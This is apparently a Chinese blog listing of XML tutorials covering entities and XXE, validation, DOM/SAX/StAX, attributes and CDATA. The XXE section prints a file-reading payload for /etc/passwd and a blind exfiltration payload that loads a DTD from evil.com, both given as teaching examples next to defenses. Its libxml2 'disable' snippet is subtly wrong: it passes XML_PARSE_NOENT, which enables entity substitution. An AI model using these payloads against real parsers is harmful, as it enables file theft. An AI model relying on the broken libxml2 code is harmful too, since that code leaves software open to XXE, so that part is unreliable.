里手动声明前缀并使用。 **大文件内存溢出**:XSLT 处理器默认把整个 XML 加载到内存。几十 MB 的 XML 文件可能直接 OOM。Saxon-EE 的流式处理(streaming)可以解决这个问题,但社区版(HE)不支持。 XSLT 的学习曲线主要卡在思维方式的转换——从命令式的"怎么做"切换到声明式的"要什么"。理解了模板匹配的递归模型,剩下的语法只是工具。
计算机基础5月28日 03:47
XML 实体详解:4 种类型与 XXE 攻击防护XML 文档里有些内容会反复出现——公司名、版权声明、版本号,每次手写既麻烦又容易改漏。XML 实体就是解决这个问题的:定义一次,到处引用。但实体的能力不止于此,外部实体还能引入其他文件的内容,而这个特性恰恰成了 XXE 攻击的入口。 ## 实体是什么 实体(Entity)本质是一个"文本替身"——你在 DTD 里声明它代表什么,文档里用 `&实体名;` 引用它,解析器会自动替换成实际内容。 ```xml <!DOCTYPE config [ <!ENTITY app "订单系统"> <!ENTITY ver "2.3.1"> ]> <config> <name>&app;</name> <version>&ver;</version> </config> ``` 解析后 `&app;` 变成"订单系统",`&ver;` 变成"2.3.1"。改一处定义,所有引用自动更新。 ## 四种实体类型 ### 内部实体 值直接写在 DTD 里的实体,适合复用短文本: ```xml <!DOCTYPE letter [ <!ENTITY sender "张三"> <!ENTITY closing "此致敬礼"> ]> <letter> <body>&sender; 申请退款</body> <footer>&closing;</footer> </letter> ``` 内部实体没有安全风险,放心用。 ### 外部实体 引用外部文件的内容,`SYSTEM` 关键字指向文件路径: ```xml <!DOCTYPE book [ <!ENTITY ch1 SYSTEM "chapter1.xml"> <!ENTITY ch2 SYSTEM "chapter2.xml"> ]> <book> &ch1; &ch2; </book> ``` 外部实体方便模块化管理,但也带来了 **XXE 注入风险**——后面详说。 ### 参数实体 只在 DTD 内部使用的实体,用 `%` 声明和引用: ```xml <!DOCTYPE catalog [ <!ENTITY % basic " <!ELEMENT title (#PCDATA)> <!ELEMENT price (#PCDATA)> "> %basic; ]> ``` 参数实体的核心用途是拆分和复用 DTD 片段。当 DTD 声明很长时,把公共部分抽成参数实体,多个 DTD 共享同一份定义。 ### 预定义实体 XML 自带 5 个,转义特殊字符,不需要声明: | 实体 | 字符 | 用在哪 | |------|------|--------| | `&lt;` | `<` | 标签符号不能直接写 | | `&gt;` | `>` | 同上 | | `&amp;` | `&` | 实体引用符号本身 | | `&apos;` | `'` | 属性值用单引号时 | | `&quot;` | `"` | 属性值用双引号时 | ```xml <condition>5 &lt; 10</condition> <msg>She said &quot;done&quot;</msg> ``` ## XXE 攻击:外部实体的安全隐患 外部实体能读文件,这个能力如果被攻击者利用,后果很严重。 ### 攻击原理 攻击者构造包含恶意外部实体的 XML: ```xml <!DOCTYPE data [ <!ENTITY steal SYSTEM "file:///etc/passwd"> ]> <data>&steal;</data> ``` 服务器解析这段 XML 时,`&steal;` 会被替换成 `/etc/passwd` 的文件内容。如果这个内容被返回给客户端,攻击者就拿到了服务器的敏感文件。 更危险的是参数实体版本的盲注 XXE——不直接回显内容,而是把数据外带发送到攻击者的服务器: ```xml <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://evil.com/collect.dtd"> %dtd; ]> ``` `collect.dtd` 里可以定义把 `%file;` 内容拼进 URL 请求参数,实现数据外泄。 ### 防护方案 **Java(最严格,直接禁用 DTD):** ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果必须用 DTD,至少禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` **Python(lxml):** ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False) tree = etree.parse("input.xml", parser) ``` **libxml2 全局禁用:** ```c xmlCtxtUseOptions(parser, XML_PARSE_NOENT, NULL); ``` 关键原则:**默认禁用外部实体,只在确实需要的场景有条件地开启**。 ## 实体的替代方案 现代 XML 开发中,实体尤其是外部实体的使用在减少,有两个更好的替代: ### XInclude XInclude 是 W3C 标准的包含机制,不依赖 DTD,不触发 XXE: ```xml <book xmlns:xi="http://www.w3.org/2001/XInclude"> <title>系统设计手册</title> <xi:include href="chapter1.xml"/> <xi:include href="chapter2.xml"/> </book> ``` ### XML Schema 的 fixed 属性 对于内部实体"定义常量"的用途,Schema 的 `fixed` 属性可以替代: ```xml <xs:element name="version" type="xs:string" fixed="2.3.1"/> ``` ## 使用建议 - **内部实体**:放心用,复用短文本的好工具,但别过度——如果实体名比内容还长就没必要 - **外部实体**:生产环境尽量别用,用 XInclude 替代 - **参数实体**:维护大型 DTD 时很有用,但大部分项目已经转向 Schema,参数实体的使用场景在萎缩 - **预定义实体**:不需要特别记,编辑器会自动转义;手写 XML 时注意 `<` 和 `&` 必须转义 - **安全第一**:任何接收外部 XML 输入的接口,都要禁用外部实体解析,这是最低限度的安全措施
计算机基础5月28日 03:47
XML 文档格式良好和有效有什么区别?格式良好是 XML 的语法底线——标签必须闭合、正确嵌套、单一根元素、属性值加引号、特殊字符转义。解析器碰到不格式良好的文档直接报错,根本不会继续处理。 有效是在格式良好的基础上,再对照 DTD 或 XML Schema 检查语义约束——元素顺序对不对、必填字段有没有缺、数据类型匹不匹配。一个文档可以格式良好但无效(语法没问题但违反了 Schema 约束),但有效的一定格式良好。 核心区别:格式良好只管"能不能解析",有效还要管"符不符合业务规则"。前者是 XML 规范的硬性要求,后者取决于你定义的 Schema。 ## 追问 ### DTD 和 XML Schema 有什么区别? | 维度 | DTD | XML Schema | |------|-----|------------| | 数据类型 | 只有文本,没有类型 | 支持 string、integer、date 等丰富类型 | | 命名空间 | 不支持 | 原生支持 | | 语法 | 自有一套非 XML 语法 | 本身就是 XML 文档 | | 扩展性 | 弱 | 支持复杂类型继承、约束facet | | 现状 | 遗留系统在用,新项目不推荐 | 主流方案 | ### 实际项目里怎么选验证方式? 配置文件(Spring、Maven)通常自带 Schema 声明,解析时自动验证。数据交换场景建议用 XSD 做强校验,防止对方传过来的结构不符合约定。开发阶段开验证、生产环境看性能需求可以关掉——Schema 验证有开销。 ### 格式良好但无效的文档能被解析吗? 能。解析器分两类:非验证型解析器只检查格式良好性,不会因为违反 Schema 就拒绝解析。只有开启验证模式的解析器才会同时检查有效性。所以一个缺了必填字段的 XML,照样能被 DOM/SAX 解析成树结构,只是语义上不合规。 ### 什么时候 XML 不格式良好也不会报错? 用了容错解析器(比如浏览器的 HTML 解析器),或者解析时开了 recover 模式。但标准 XML 解析器遇到格式错误必须报告 fatal error,这是 XML 规范的硬要求——和 HTML 的"宽容解析"不同,XML 的设计哲学就是宁可报错也不要猜。 ## 写段代码 ```java // 开启 Schema 验证 SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = sf.newSchema(new File("book.xsd")); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setSchema(schema); // 设置 Schema 后解析时自动验证 ```
计算机基础5月28日 03:47
XML 解析中 DOM 和 SAX 有什么区别?DOM 把整个 XML 一次性加载到内存建树,SAX 逐行读、遇到标签就触发回调。所以 DOM 能随机访问、能改,但吃内存;SAX 省内存、速度快,但只能顺序读、不能改。面试里一般答到"一个树一个事件驱动"就算到位,但追问肯定会问更细。 ## 追问 ### DOM 和 SAX 的内存差距到底有多大? 解析一个 100MB 的 XML,DOM 可能吃掉 300-500MB 内存(树节点的对象开销远大于原始文本),SAX 基本只占几 KB 的缓冲区。大文件用 DOM 直接 OOM 是真实生产事故,不是理论风险。 ### StAX 和 SAX 有什么区别?为什么有了 SAX 还要 StAX? SAX 是推模型——解析器主动推事件给你,你没法控制解析节奏。StAX 是拉模型——你调用 `next()` 主动拉下一个事件,想停就停,想跳就跳。实际开发中 StAX 更灵活,代码也更好写(不用写一堆回调)。JDK 6 开始 StAX 就是 JAXP 的一部分了。 ### 实际项目里怎么选? | 场景 | 选择 | 原因 | |------|------|------| | 配置文件(几十 KB) | DOM / Dom4j | 小文件内存不是问题,随机访问方便 | | 大日志文件(几百 MB+) | SAX / StAX | 流式处理不爆内存 | | 需要修改 XML 再写回 | DOM | SAX 只读,改不了 | | 只提取少数字段 | SAX / StAX | 不用为几个字段加载整棵树 | ### JAXB 还在用吗? Java 9 标记废弃,Java 11 正式移除(从 JDK 里删了)。现在要用得手动加 `jakarta.xml.bind` 依赖。新项目如果要做 XML-对象映射,Jackson 的 XML 模块比 JAXB 好用。 ### DOM 解析有什么常见坑? 1. **编码问题**:XML 声明的 encoding 和文件实际编码不一致,直接乱码或抛异常 2. **空白节点**:格式化缩进会产生大量 `#text` 空白节点,遍历时要 `getNodeType()` 过滤,否则逻辑全乱 3. **命名空间**:带命名空间的 XML 必须用 `getElementsByTagNameNS()`,用错方法查不到元素 4. **实体注入**:外部实体引用(XXE)是安全漏洞,解析时必须禁用:`factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` ## 写段代码 StAX 拉式解析,对比上面 SAX 的回调写法,感受下代码简洁度的差距: ```java XMLStreamReader reader = XMLInputFactory.newInstance() .createXMLStreamReader(new FileInputStream("data.xml")); while (reader.hasNext()) { if (reader.next() == START_ELEMENT && reader.getLocalName().equals("title")) { System.out.println(reader.getElementText()); } } ```
计算机基础5月28日 03:46
XML 属性和子元素有什么区别?什么时候该用哪个?XML 属性适合放元数据——ID、类型、状态这类简单的键值对;子元素适合放实际数据和可能变复杂的内容。属性的硬限制是:只能存纯文本、同一元素内不能重复、不能嵌套子结构。所以只要信息有可能扩展、可能多值、可能变复杂,就应该用子元素。 一个实用的判断方法:如果你犹豫"这个该放属性还是子元素",大概率该用子元素。属性只在你非常确定它永远是一个简单原子值时才用。W3C 和 Google XML Style Guide 的建议一致:元数据用属性,数据本身用子元素。 ## 追问 ### 属性和子元素的核心区别是什么? 属性是开始标签上的 `name="value"` 对,值只能是纯文本,同名属性在同一元素内只能出现一次。子元素是嵌套在父元素内的独立元素,可以重复、可以嵌套、可以有混合内容(文本和子元素混排),且保持文档顺序。 用代码看最直观: ```xml <!-- 属性:简单键值对 --> <book id="B001" category="programming" lang="zh"> <title>XML 实战</title> </book> <!-- 子元素:可以重复、嵌套、保持顺序 --> <book> <id>B001</id> <categories> <category>programming</category> <category>reference</category> </categories> </book> ``` `category` 如果可能多值,属性就搞不定——它不能重复,只能用子元素。 ### 实际项目里选错会怎样? 配置文件把数据库连接参数全写成属性: ```xml <db driver="mysql" host="127.0.0.1" port="3306"/> ``` 后来要给 host 加 failover 列表、给连接加 SSL 配置,属性扩展不了,只能全部拆成子元素重写。如果一开始就用子元素,加字段只是多写几行的事。 再比如 SOAP 协议里,早期版本大量使用属性传业务数据,后来扩展性需求上来后不得不迁移到子元素,导致版本兼容成了大坑。 ### Google 和 W3C 的官方建议是什么? Google XML Style Guide 明确说:属性只用于 ID 引用等元数据,其他一律用子元素。W3C 的 XML 推荐标准虽然没有强制规定,但示例中始终把元数据(id、class)放属性,内容数据放子元素。两条规则的内核一样——属性是"关于数据的数据",子元素是"数据本身"。 ### 有没有属性确实更合适的场景? HTML/SVG 是属性发挥优势的典型场景:`<div id="main" class="container">`、`<rect x="10" y="20" width="100"/>`——id、class、坐标、尺寸都是纯元数据,不会变复杂,用属性比嵌套子元素简洁得多,解析也更快。 另外在 SAX 流式解析中,一个元素的所有属性一次性报出,而子元素逐个触发事件。如果你需要快速读取元数据做路由分发,属性在性能上有微小优势。 ### 属性值有长度限制吗?多行文本能放属性吗? XML 规范没有规定属性值长度上限,但实际中有两个问题:很多 SAX 解析器实现在属性值超过一定长度时性能下降甚至截断;更关键的是,属性值中的换行符会被 XML 解析器规范化为空格——多行文本放属性里会丢失格式。所以长文本、多行内容、含换行的代码片段,必须用子元素。 ## 写段代码 ```xml <!-- 推荐:元数据用属性,数据用子元素 --> <book id="B001" isbn="978-0-123456-78-9" lang="zh"> <title>XML 实战</title> <authors> <author>张三</author> <author>李四</author> </authors> </book> ```
计算机基础5月27日 10:50
XML 中的 CDATA 是什么?什么时候需要用 CDATA?CDATA(Character Data)是 XML 里的一个特殊标记,告诉解析器"这段内容别解析,原样保留"。当你需要在 XML 中放代码、HTML 片段或包含大量 `<`、`>`、`&` 的文本时,CDATA 省去逐个转义的麻烦。 ## 基本语法 ```xml <code> <![CDATA[ if (x < 10 && y > 5) { return "ok"; } ]]> </code> ``` `<![CDATA[` 和 `]]>` 之间的内容,XML 解析器不会尝试解析标签或实体引用,全部当作原始文本处理。 ## 什么时候需要 CDATA **嵌入代码**:JavaScript、SQL、CSS 里大量使用 `<`、`>`、`&&`,不用 CDATA 就得写成 `&lt;`、`&gt;`、`&amp;&amp;`,可读性极差。 ```xml <script> <![CDATA[ function check() { if (count < 10 && status === "active") { return true; } } ]]> </script> ``` **嵌入 HTML 片段**:RSS feed 里经常包含 HTML 内容,CDATA 是标准做法。 ```xml <description> <![CDATA[ <p>这是一段<strong>HTML</strong>内容</p> ]]> </description> ``` **嵌入 SQL 查询**:MyBatis、Hibernate 的 XML 映射文件里写 SQL,比较运算符必须转义或用 CDATA。 ```xml <select id="findActive"> <![CDATA[ SELECT * FROM users WHERE age > 18 AND score >= 60 ]]> </select> ``` ## CDATA 的限制 **不能嵌套**:CDATA 内部不能出现 `]]>`,因为解析器会把第一个 `]]>` 当作 CDATA 结束标记。如果内容里确实需要 `]]>`,得拆成两个 CDATA 节:`]]]><![CDATA[>`。 **大小写敏感**:必须是 `CDATA`,写成 `cdata` 或 `Cdata` 都不对。 **空白保留**:CDATA 里的换行和缩进会原样保留,包括你不想保留的。格式化 XML 时注意别误改 CDATA 内的空白。 **不能做部分转义**:CDATA 是全有或全无的——整个内容都不解析。如果只需要转义个别字符,用实体引用 `&lt;` `&gt;` 更精确。 ## CDATA vs 实体引用 | 特性 | CDATA | 实体引用 | |------|-------|----------| | 语法 | `<![CDATA[...]]>` | `&lt;` `&gt;` `&amp;` | | 适用范围 | 大段文本 | 单个字符 | | 可读性 | 高,原文可读 | 低,需要还原 | | 灵活性 | 低,整个块不解析 | 高,精确控制 | 经验法则:超过 3 个特殊字符就用 CDATA,少于 3 个用实体引用。 ## 常见误区 **CDATA 不是数据类型**:CDATA 只是告诉解析器别解析,它不改变数据的含义。解析后 `<![CDATA[hello]]>` 和 `hello` 是等价的——应用程序拿到的是同样的字符串。 **CDATA 不影响验证**:XSD 验证时,CDATA 内的内容同样会被检查是否符合类型约束。CDATA 只跳过解析,不跳过验证。 **浏览器中的 CDATA**:XHTML 里曾经用 `//<![CDATA[` 包裹 JavaScript,但 HTML5 不需要——`<script>` 标签的内容本身就不被当作 XML 解析。这个用法已经过时了。